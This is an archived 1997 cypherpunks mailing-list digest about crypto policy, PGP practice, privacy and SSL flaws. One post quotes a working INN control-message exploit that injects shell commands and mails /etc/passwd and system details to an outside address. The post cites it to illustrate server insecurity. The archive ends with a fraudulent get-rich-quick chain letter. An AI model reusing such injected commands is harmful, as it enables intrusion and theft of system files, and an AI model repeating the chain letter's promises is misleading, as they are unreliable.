> That's $3 for Sinn F\'ein.  Thank you, Phil.
> 
> P.S. Fuck your Queen.

Free Rule for Ireland!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 10 Apr 1997 18:53:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EVENT!  Rep. Anna Eshoo (D-CA) holds online town hall meeting April 16!
Message-ID: <199704110153.VAA04158@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         "Government Without Walls"
_________________________________________________________________________
Update No.5              http://www.democracy.net/           April 10 1997
_________________________________________________________________________
Table of Contents

 - Join Silicon Valley Internet Policy Leader Anna Eshoo (D-CA) Live April 16.
 - Background on Rep. Eshoo
 - democracy.net statistics
 - About democracy.net
___________________________________________________________________________
JOIN SILICON VALLEY INTERNET POLICY LEADER ANNA ESHOO (D-CA) Live ONLINE!

Representative Anna Eshoo (D-CA), walks point for Silicon Valley on
Internet policy issues.  Her career has been marked by outspoken
positive positions on Internet policy, but also for her groundbreaking
work of making the Internet a tool for servicing her constituents
better.

Rep. Eshoo will hold a live online interactive 'town hall meeting'
at democracy.net on Wednesday April 16 at 8:30 pm Eastern (5:30 pm Pacific).

The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
completely virtual.  The discussion will be cybercast live via RealAudio,
and listeners can join a simultaneous interactive chat discussion and pose
questions to Rep. Eshoo.

This is a unique opportunity for Internet users to discuss current Internet
issues, including how Congress can better communicate with the public
using the Internet, the chances for online speech legislation in the 105th
Congress, Congress' agenda for encryption policy reform, and others.

Details on the event, including instructions on how you can submit questions
in advance, are attached below.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

         * Interactive Town Hall Meeting with Rep. Anna Eshoo (D-CA) *

 DATE:      Wednesday, April 16, 1997
 TIME:      5:30 pm Pacific / 8:30 pm Eastern
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. Eshoo a question.  We will collect the
questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. Eshoo a question!

   Please mark this date in your calendar: Thursday April 16, 5:30PM Pacific
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

3. Make sure you have the right software

   To participate in the chat, you will need two pieces of software besides
   a Web browser.  To listen to the 

_____________________________________________________________________________
BACKGROUND

  "We need to send a clear, unscrambled message to Washington that our
   nation's encryption policy needs to be reformed, and reformed now."
               -- Rep. Anna Eshoo (D-CA), SAFE Forum, July 1, 1996


Given the 14th District's concentration of high-tech industries, it is
not surprising that Rep. Eshoo serves on the House Committee on
Commerce. Her subcommittee assignments on this committee include the
Subcommittee on Telecommunications, Trade, and Consumer Protection, as
well as the Subcommittee on Health and the Environment.  The Commerce
Committee has policy making  power over high technology, biotechnology,
public health, and the environment.

Through her seat on the Commerce Committee, Rep. Eshoo is well positioned
to assist high technology interests in her district. She fought hard to
ensure that securities litigation reform and telecommunications reform
were signed into law. Rep. Eshoo has introduced the Online Parental
Control Act to fight government censorship and encourage parents to use
technology to control their children's access to online materials. She
has led the fight to improve the Food and Drug Administration's product
review process and played an instrumental role in securing the $238
million B Factory for the Stanford Linear Accelerator Center.

In addition, Rep. Eshoo has pushed to loosen costly export controls on
high technology products, make NASA contractors more liable for the
costs of failing to comply with their contract requirements, and
prevent government laboratories from competing with private industry.
She also played a key role in stopping the Financial Accounting
Standards Board from adopting a rule requiring businesses to charge
stock options against earnings, a move which could have seriously
curtailed the growth of small firms and start-up businesses,
particularly in the high technology industry.

Additional Information can be found at the following locations:

* Rep. Anna Eshoo's Home Page   --   http://www-eshoo.house.gov/
* democracy.net Page            --   http://www.democracy.net/

_______________________________________________________________________________
DEMOCRACY.NET STATISTICS

In the two weeks following the original Pro-CODE cybercast hearing,
over eight times as many people (804) listened to the RealAudio archive
than could have fit into the room at the hearing itself!

The hearing transcript continues to be extremely popular, with the
testimony of Jim Barksdale (CEO, Netscape) and  Louis Freeh (Director,
FBI) counting as the two most popular hearing witnesses to listen to.
Over a quarter of our visitors to the hearing archives stop to listen
to Barksdale and Freeh's takes on the encryption debate.

Whether you're a concerned citizen who can't get to Washington, a
student researching the topic of privacy, or a reporter just following
the debate, these archives are here for you.  You can experience
Government Without Walls at the March 19th hearing cybercast archive at
http://www.democracy.net/.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/

_____________________________________________________________________________
End update no.5                                                    04/10/1997
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 10 Apr 1997 20:10:12 -0700 (PDT)
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: Assassination Politics
In-Reply-To: <199704100627.CAA10692@dhp.com>
Message-ID: <199704110300.WAA01732@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


lucifer Anonymous Remailer wrote:
> 
> Toto's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 

Isn't Toto a product of canadian educational system?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:00:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: KC post per Alec
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <334DB831.2D2A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, whose sense of humor indicates he may not,
after all, be a government Bot, wrote:

> On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote:
> [...]
> > By the way, I'm staying out of this latest tamper-responding device
> > argument. I worked on this at Intel, actually. But I wrote a bunch of
> > fairly long articles on this the 5th, or maybe it was the 7th?, time this
> > came up, circa 1993. Those who refuse to learn from the threads of the past
> > are condemned to repeat them.
> 
> Let's see, to which would I rather be condemned:  participating in a
> lively, current discussion; or digging through musty outdated archives?

  I regularly cruise back through my archives of the CypherPunks list
from as far back as the early 90's and I rarely find them outdated.
And rather than being pretentious, I usually find them 'portentious'.

> Yes, we could continually mine the archives for words of wisdom from
> past participants, and thus pay them homage -- especially since it is
> so painfully obvious that is what they crave.  But we should forgive
> them this weakness, for at some lonely age we all start wondering
> about our legacy.

  There is, however, a far cry of difference between those to whom
homage is due, and those to whom it is not.
  As much as I may have railed against the fascist censorship of the
'moderation experiment' badly instituted by John Gilmore, I am not
ungrateful for the years of time and effort that he spent in hosting
the CypherPunks list, and stated so in a post to the list before it
moved on to new homes.

  Not knowing Tim May personally, I cannot comment on the description
of him in the press as 'crusty' (not knowing if it refers to his
personality or his sexual hygene), but I can see how a review of some
of his recent posts might suggest that he would not be out of place in
a remake of 'Grumpy Old Men'.
  However, his propensity for taking an attitude of 'been there, done
that' (and spanking young pups on the list) in no way negates the fact
that he 'has', in fact, been there and done that, and that his (somewhat
vague) pointers to sources of information in regard to various list
issues might prove valuable to those who have enough interest in the
issue to want to indulge in a little research on the matter.

  While the discussions of those currently active on the list may be
enlightening, there are certainly other CypherPunks (some active, some
inactive) who have dealt with current issues in the past, and done so
from a perspective and knowledge base that are equal or superior to 
those who are participating in current discussions.
  While Tim is certainly an icon on the list, I haven't seen any signs
of senility seeping in, just yet.
{From: "Timothy C. May" <tcmay@got.net>
 Subject: Has anybody seen my shoes? I lost my shoes! }
  (OK, maybe a couple of signs..:)

  While I sometimes feel that the list would be better served by more
of the long-time members being a little more specific in their aide
to more inexperienced members seeking information, there is no doubt
that much of the input they do provide is useful enough to point those
seeking a better knowledge of crypto and crypto issues in directions
which can bear much fruit if the individual is sincere enough to 
follow their pointers.

  Tim's legacy is already written in CypherStone, regardless of what
he may or may not do in the future, as is that of Gilmore and Hughes.
  Despite whatever battles you or I may engage them in, in the future,
we will be telling our grandchilren, "Hey, I <spit on>/<farted at>/
<kissed> him." when the movie 'Grouchy Old CypherPunks' hits the
big screen.

-- 
Toto
"One TruthMonger down, four to go"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:12:24 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Assassination Politics
In-Reply-To: <199704110300.WAA01732@manifold.algebra.com>
Message-ID: <334DB97A.71E7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> lucifer Anonymous Remailer wrote:
> > Toto's abysmal grammar, atrocious spelling and
> > feeble responses clearly identify him as a product of the
> > American education system.
> 
> Isn't Toto a product of canadian educational system?

  Eh?, b, c, d, e, f, g...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:17:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Grouchy Old Cypherpunks
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <334DBBF8.3B44@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, whose sense of humor indicates he may not,
after all, be a government Bot, wrote:

> On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote:
> [...]
> > By the way, I'm staying out of this latest tamper-responding device
> > argument. I worked on this at Intel, actually. But I wrote a bunch of
> > fairly long articles on this the 5th, or maybe it was the 7th?, time this
> > came up, circa 1993. Those who refuse to learn from the threads of the past
> > are condemned to repeat them.
>
> Let's see, to which would I rather be condemned:  participating in a
> lively, current discussion; or digging through musty outdated archives?

  I regularly cruise back through my archives of the CypherPunks list
from as far back as the early 90's and I rarely find them outdated.
And rather than being pretentious, I usually find them 'portentious'.

> Yes, we could continually mine the archives for words of wisdom from
> past participants, and thus pay them homage -- especially since it is
> so painfully obvious that is what they crave.  But we should forgive
> them this weakness, for at some lonely age we all start wondering
> about our legacy.

  There is, however, a far cry of difference between those to whom
homage is due, and those to whom it is not.
  As much as I may have railed against the fascist censorship of the
'moderation experiment' badly instituted by John Gilmore, I am not
ungrateful for the years of time and effort that he spent in hosting
the CypherPunks list, and stated so in a post to the list before it
moved on to new homes.

  Not knowing Tim May personally, I cannot comment on the description
of him in the press as 'crusty' (not knowing if it refers to his
personality or his sexual hygene), but I can see how a review of some
of his recent posts might suggest that he would not be out of place in
a remake of 'Grumpy Old Men'.
  However, his propensity for taking an attitude of 'been there, done
that' (and spanking young pups on the list) in no way negates the fact
that he 'has', in fact, been there and done that, and that his (somewhat
vague) pointers to sources of information in regard to various list
issues might prove valuable to those who have enough interest in the
issue to want to indulge in a little research on the matter.

  While the discussions of those currently active on the list may be
enlightening, there are certainly other CypherPunks (some active, some
inactive) who have dealt with current issues in the past, and done so
from a perspective and knowledge base that are equal or superior to
those who are participating in current discussions.
  While Tim is certainly an icon on the list, I haven't seen any signs
of senility seeping in, just yet.
{From: "Timothy C. May" <tcmay@got.net>
 Subject: Has anybody seen my shoes? I lost my shoes! }
  (OK, maybe a couple of signs..:)

  While I sometimes feel that the list would be better served by more
of the long-time members being a little more specific in their aide
to more inexperienced members seeking information, there is no doubt
that much of the input they do provide is useful enough to point those
seeking a better knowledge of crypto and crypto issues in directions
which can bear much fruit if the individual is sincere enough to
follow their pointers.

  Tim's legacy is already written in CypherStone, regardless of what
he may or may not do in the future, as is that of Gilmore and Hughes.
  Despite whatever battles you or I may engage them in, in the future,
we will be telling our grandchilren, "Hey, I <spit on>/<farted at>/
<kissed> him." when the movie 'Grouchy Old CypherPunks' hits the
big screen.

--
Toto
"One TruthMonger down, four to go"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 10 Apr 1997 19:30:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: store your private ke
Message-ID: <TCPSMTP.17.4.10.-10.24.30.2780269260.1600958@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:bryce@digicash.com to Harka <=-

 In> The non-cpunks that I talk to frequently say that "no bad guys
 In> would bother to read my e-mail".  This is a pretty good assumption,
 In> because it takes into account (as the cpunks themselves frequently
 In> fail to do) that there is a _cost_ to illicitly reading e-mail, and
 In> that as long as the value of reading your private e-mail is less than
 In> the cost of reading it, you can consider yourself safe.

Another point, that most PGP-"uninitiated" (challenged? :)) people
fail to realize is the non-individual-based approach to e-mail
snooping. Commonly people think, that first they have to be
specifically targeted by a "bad guy".
But in the times of Echelon and generic key-word-based filtering of
_all_ e-mails, that go through certain points (Satellite-Links
etc.), nobody has to be specifically targeted anymore, because
_everybody's_ e-mail is potentially read.
All other things you mentioned are of course valid too besides that.

Ciao

Harka

... Microsoft - "Where do you want to crash today?"
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM02gpjltEBIEF0MBAQFy4wf/QIx7s1iRBDIW7VXYFWN6T5xlO2stm7QI
+Cl8dz7ZL24nMazVUA+I0GqJjpjEOY7bK5oZwbELTaaD6g6unjoZLb6n5/fiXeaN
Dd7LdJ989oqmUxO2fm6F/81OqPIGHQl5UwqOj0hII4AndaIwMJB/kSENXXJXXupI
7G/HWWddSnCzeuTfAzYBUeo1cpAgsBP7zTqyQsVUtoGVhgwbRsdUBX1kqcR7cEsv
SX+TZZJZAs9AxTlIoQBuP4hb5/aEZnahb8myomKVY9XbMLBRdFzw6YlF2u/hHyit
OqMzn12QVKkflxbMQWj3qCLARuT2wKEg6TeHUFAReSgIV1YSNV2Xsw==
=Au+6
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 10 Apr 1997 22:30:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Microsoft Site Gestapo
Message-ID: <199704110530.WAA01009@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:53 PM 4/10/97 -0700, you wrote:
>Welcome to Site Builder Network - Level 1.
>
>We went to your site(s) and found the Microsoft Internet Explorer logo
>and link, so your membership has been upgraded to Level 1.  You now have
>access to the Members Only - Level 1 Lounge as well as the Members Only
>Download Area.  Please take some time to visit
>http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
>store for you.  Your ID and password are listed below for your
>convenience.
>
>Do you think you qualify for Level 2?  Would you like to?  The reason
>your Level 2 registration failed could be one of the following reasons:
>
>You are not using an ActiveX control.
>======================================
>To find out more about ActiveX, go to our home page at


Fuck you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 22:27:18 -0700 (PDT)
To: bryce@digicash.com
Subject: Re: store your private key on a multi-user system!  use pubkeys without verifying them!
In-Reply-To: <199704101223.OAA27778@digicash.com>
Message-ID: <334DCC65.3409@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bryce wrote:
> 
> The non-cpunks that I talk to frequently say that "no bad guys
> would bother to read my e-mail". 
> as long as the value of reading your private e-mail is less than
> the cost of reading it, you can consider yourself safe.

  Bad, bad assumption.
 
> So my points are as follows:

> 2.  To the cpunks:  the _value_ of invading your privacy is not that
> high.  There are no evil storm troopers whose full time job is to run
> a man-in-the-middle attack on your PGP public key, or dedicate a
> cracking farm to decrypting your messages, or using TEMPEST devices
> on your home computer or whatever.  Therefore, simply encrypting your
> personal e-mail with a 512-bit PGP key, storing your private key on
> your local multi-user Unix system, and using people's public keys
> _without_ doing anti-Man-In-The-Middle techniques is more than
> sufficient to protect your privacy.

   Horseshit. Send me all of the email and files from the hard 
drives of the NSA, CIA, FBI, and the organizations we don't know
about, for the last 20 years, and then we'll talk about what
evil storm troopers do, or do not, exist.
  Then we can begin to talk about what really trips up most
fugitives/criminals/freedom-fighters--the mundane.

   J.Edgar Hoover didn't rise from the grave to entrap the
UnaBomber with high-tech devices and an army of spooks. His
own family turned him in.
  Four guys broke into a Vancouver bank a few years ago, spent
the weekend cracking the vault and safety deposit boxes, and 
made a clean getaway, except one of their suitcases broke open
on the trip out of town, spilling the goodies for everyone to
see. They sat in jail until Monday morning, when the banks 
opened, and the cops could figure out who they robbed.

> Now, if you use your e-mail to transmit really _valuable_ data, then
> that is a different story.

  I submit that everyone has _really_valuable_data_, no matter
what value others put on it.
  I would guess that there are no shortage of people who would
rather have their company's data compromised, than have their
spouse find their secret love-letters.
  The key is to be as meticulous as possible in your security
precautions, because those things you have little knowledge of
or control over may well be more dangerous to you than those
that you don't.

  Case in point.
  I spent twenty years of my life making sure that I had extra
'butts' on me at all times, so that I would not have to face
my greatest fear--going to jail without a suffiecient supply
of nicotine.
  The one time I slipped up was when I was on 'safe' ground,
in my hometown, crossing a border I had crossed every day for
the last few weeks with no trouble. Then I got hauled in for
a 'bad check' that was a result of a clerical error. I actually
had the cancelled check in my motorhome, but the facts didn't
matter--I was headed for the slam with almost no butts.
  An understanding Sheriff's deputy with a couple extra packs
probably saved me from the death penalty for killing cops to
escape and go get more butts.

  When you decide that you've got nothing to worry about, because
the 'bad guys' aren't after you, then the 'good guys' will get you.
  Your wife will hire a teenage hacker to look for the secret love
letters that don't exist, and turn up unrelated info that the kid 
will use to get a sweetheart deal when the Feds break down 'his'
door. Your employer's audit of the books will point to you being
a thief, and in the process of proving you innocent, will turn up
evidence of your office affair, giving your spouse grounds for
divorce.

  The people who get fucked aren't the people who 'deserved' it. They
aren't the people who 'took crazy chances'. They aren't the people who
'had the most to hide'.
  They are the people who got fucked.

  The bottom line is, if you have something to hide, then hide 
it, and hide it well.
  You can be faster than a speeding bullet and leap tall buildings
in a single bound, but somewhere out there is a bum going through
a dumpster, and he just found a funny, glowing, green rock.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 23:30:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A mini rant on IRS and Social Security
In-Reply-To: <v03007801af72da159829@[207.167.93.63]>
Message-ID: <334DDA8C.1940@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> Many of you in the United States have probably seen the reports on how the
> Social Security Administration has pulled their Web site, citing security
> problems.
> 
> I'm not naive. I knew that anything I reported to the IRS, or that my
> employers reported, was accessible to those with access (Q.E.D.). I just am
> surprised that  my earnings for the past 28 years are "online," available
> to anyone with the few bits of entropy needed to get past the minimal
> security.
> 
> This ought to be recounted far and wide. Remind your siblings, friends, and
> others about this situation. Point out to them that when a society becomes
> dominated by "accounts," instead of old-fashioned cash payments, then he
> who controls the keys controls everything.

IRS Continues Personal Privacy and Security Breeches 
        (From the NYTimes, April 9, 1997) 

        The IRS admitted that it has not stemmed the improper browsing
of
        taxpayer records by nosy agents. 1,515 such cases have become
known
        in the last two years. A study of the EARL (Electronic Audit
Research
        Log) software program indicates that, "some employees, when
        encountered, indicated they browsed because they do not believe
it is
        wrong and that there will be little consequence to them if they
are
        caught." About 51,000 IRS employees have access to taxpayer
records
        through the Integrated Data Retrieval System. 

        Senator John Glenn, (D-OH) agrees, as recent court rulings have
        decided that these invasions of privacy are not illegal as long
as the
        information is not given to others; as though determining that
was at all
        possible. Senator Glenn is attempting to levy heavy fines and
        imprisonment for violators. The GAO has also determined,
according to
        their recent report on these abuses, that 6,400 tapes and
cartridges
        which "might" contain taxpayer information are also missing. 

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 10 Apr 1997 22:44:28 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: store your private key on a multi-user system!  use pubkeys without verifying them!
In-Reply-To: <334DCC65.3409@sk.sympatico.ca>
Message-ID: <199704110543.AAA05165@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Toto wrote:
> Bryce wrote:
> > The non-cpunks that I talk to frequently say that "no bad guys
> > would bother to read my e-mail". 
> > as long as the value of reading your private e-mail is less than
> > the cost of reading it, you can consider yourself safe.
> 
>   Bad, bad assumption.
>  
> > So my points are as follows:
> 
> > 2.  To the cpunks:  the _value_ of invading your privacy is not that
> > high.  There are no evil storm troopers whose full time job is to run
> > a man-in-the-middle attack on your PGP public key, or dedicate a
> > cracking farm to decrypting your messages, or using TEMPEST devices
> > on your home computer or whatever.  Therefore, simply encrypting your
> > personal e-mail with a 512-bit PGP key, storing your private key on
> > your local multi-user Unix system, and using people's public keys
> > _without_ doing anti-Man-In-The-Middle techniques is more than
> > sufficient to protect your privacy.

The main mistake in the argument that you cited is the following:
it assumes that you know the cost of hacking and reading one's email
or files.

You do NOT know it. Moreover, while it is usually easy to find the upper
bound for that cost, the lower bound is not so obvious. Recall the 
latest attack on INN servers, when one trivial message (see below) could
be used to compromise thousands of internet sites, at the negligible
cost.

It is only safe to assume that the cost of breaking into a Unix system
(or any other server for that matter) is ZERO.

Unix security on multiuser machines is an oxymoron, it does not exist
and should never be assumed.

The problems with people actually securing their communications and
personal data are as follows:

1) It is costly to set up a more or less secure system (ie, a system
that is not a server and that is somewhat protected from various data
attacks) because of learning curve and other costs

2) Many if not most correspondents are so clueless they's never even 
understand what they need to do to secure their communications.

I had to drop several conversations with people because they were 
stupid/lazy enough not to set up PGP.

	- Igor.

Subject:      cmsg newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
From:         tale@uunet.uu.net (David C Lawrence)
Date:         1997/03/17
Message-Id:   <5gkdv8$5uc@tabloid.amoco.com>
Control:      newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
Organization: Amoco
Newsgroups:   comp.sys.mac.printing
[Fewer Headers]

#+
 (/bin/id; /bin/uname -a; /bin/who; /bin/cat /etc/passwd; /bin/cat /etc/inetd.conf) | /usr/ucb/Mail -s info tafeyereisen@amoco.com
#-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 11 Apr 1997 01:00:50 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: KC post per Alec
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <19970411005754.59935@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, Apr 10, 1997 at 10:04:01PM -0600, Toto wrote:

[a piece on Tim May]

Toto, thanks for your thoughtful comments.  Your touching defense of 
Tim is interesting.

Contrary to what you might think, I really don't have anything against
Tim May, and I do go read things he (or others) have written in the
past.  But I am getting to the crusty old fart stage myself...

As to his legacy, and the legacy of cypherpunks in general, that
remains to be seen.  None of the cypherpunks are in a position to be
able to judge very well, because they are so close to their favorite
issues that of course they look very large.  But it isn't a certainty
that any of the predictions of crypto-anarchy, for example, will come
to pass.  It is possible that the surveillance state will win.  More
likely, of course, the world will go in a direction that will surprise
all of us (except that Tim will tell us he considered the possibility
in a paper he wrote back in the 1970s).  What will look portentious and 
what will look pretentious 10 years from now is hard to judge...

Personally, I am in favor of absolute personal privacy, but I don't
define that to include economic dealings -- as far as I am concerned,
business or economic privacy is at a lower level of concern than
personal privacy.  This puts me at odds with the prevailing
libertarian bent of cypherpunks, of course.  However, I was thrown off
my stride by the high level of downright hostility so common on this
list.  Like most people, I tend to respond in kind.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Fri, 11 Apr 1997 14:30:08 -0700 (PDT)
To: Bill Stewart <markm@voicenet.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00015C5B@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



See http://www.Microsoft.com/security/

under "Credit Card Security Concerns and Microsoft's Response"

for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?

Art Grapa
agrapa@banamex.com

 ----------
From: Mark M.
To: ARTURO GRAPA YSUNZA; Bill Stewart
Cc: cypherpunks@toad.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Saturday, March 29, 1997 1:11AM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Mark M.
Para:  ARTURO GRAPA YSUNZA
     Bill Stewart
Cc:  cypherpunks@toad.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-03-29 01:11
Prioridad: 3
Ident. del mensaje: 83A07AD005A0D011AF8C006097838CEB

 -----------------------------------------------------------------------
----- --

 -----BEGIN PGP SIGNED MESSAGE-----

On Fri, 28 Mar 1997, Bill Stewart wrote:

> http://www.zdnet.com:80/intweek/daily/970327x.html
> has an article about an SSL problem that affects both Netscape
> and MicrosoftIE browsers, leaking "secure" data such as
> credit card numbers from web pages with GET-based SSL forms on it.
> It was discovered by Dan Klein.
>
> There isn't specific detail about how the flaw works,
> but it says that it affects GET forms but not POST.
> Commentary from NS, MS, Gene Spafford, and Steve Bellovin.
>
>    "It's like you've gone to the restaurant with your lover," Klein said.

>    "The restaurant is there, it's private, yet when you leave the
restaurant
>    you have the menu in your hand and there's food all over your shirt."

I would guess that this means that Netscape and Explorer send the
complete
URL of the page that linked to another site in the "HTTP-REFERER" header
in
the clear when SSL is used.  The only temporary solution is to use a
local
web
proxy that removes this header, or, as the article suggests, manually
type
in
an URL that is linked from a page using SSL.  I can't think of too many
situations where one might follow a link to another site immediately
after
sending sensitive information, but the contents of the "HTTP-REFERER"
header
are often logged, and the log is often world-readable...

>
>
>
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>


Mark
 -----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

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9F5gUZvFeyubL9UVLlUoxVIMCumLM+y31zqVaMb8GwwGnHWNcHc1rqnUhchYamiJ
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=QOto
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Daniels <darren@aone.com>
Date: Fri, 11 Apr 1997 10:16:33 -0700 (PDT)
Subject: DON'T DELETE!!!
Message-ID: <199704111711.KAA25528@aone.com>
MIME-Version: 1.0
Content-Type: text/plain





I usually delete email like this without even thinking but I
had some extra time when I got this and I'm glad I did!  This
is not a pyramid scheme or chain letter.  It's legitimate 
marketing of legitimate products.  You've got nothing to lose
by reading it.  Lots of people are making money on the internet.
Why shouldn't you be one of them? 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
